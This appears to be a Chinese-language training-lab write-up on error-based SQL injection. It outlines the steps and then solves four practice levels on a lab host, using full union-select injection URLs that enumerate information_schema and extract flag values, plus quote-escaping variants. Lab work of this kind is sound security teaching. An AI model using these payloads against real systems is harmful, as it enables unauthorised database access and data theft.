一.概念
- sql注入本质:将用户的输入拼接到代码中,并被当做sql语句执行
- sql注入的条件:用户可控输入和原本程序要执行代码,拼接用户输入且当作SQL语句去执行
- SQL显错注入基本流程:
-
判断是否存在注入点
-
判断字段数
-
判断显错位
-
判断库名、表名、列名
-
寻找具体数据
二.靶场
1.pass-01—显错注入(一)
-
判断是否存在sql注入:使用 and 1=1 和 and 1=2测试
-
判断查询字段数,使用order by
当字段数为3的时候,查询有结果,当字段数为4的时候,查询没有结果,说明字段数是3
-
联合查询查询数据库名:http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=2 union select 1,2,database()
发现数据库名为error
-
查询表名:
http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=2%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema%20=%27error%27%20limit%202,1
查到数据库error中存在error_flag和user两张表
-
先查找error_flag表的内容
发现存在Id、flag两个列名
http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='error_flag'
查找error_flag表内容
http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1%20and%201=2%20union%20select%201,(select%20group_concat(id,flag)%20from%20error.error_flag),3
得到flag zKaQ-Nf zKaQ-BJY zKaQ-XiaoFang zKaq-98K
pass2-pass4同pass1一样,只是传参不一样
pass-2:id=1’ union select 1,2,database() — qwe’
pass-3:id=1’) union select 1,2,database() — qwe’
pass-4:id=1”) union select 1,2,database() — qwe’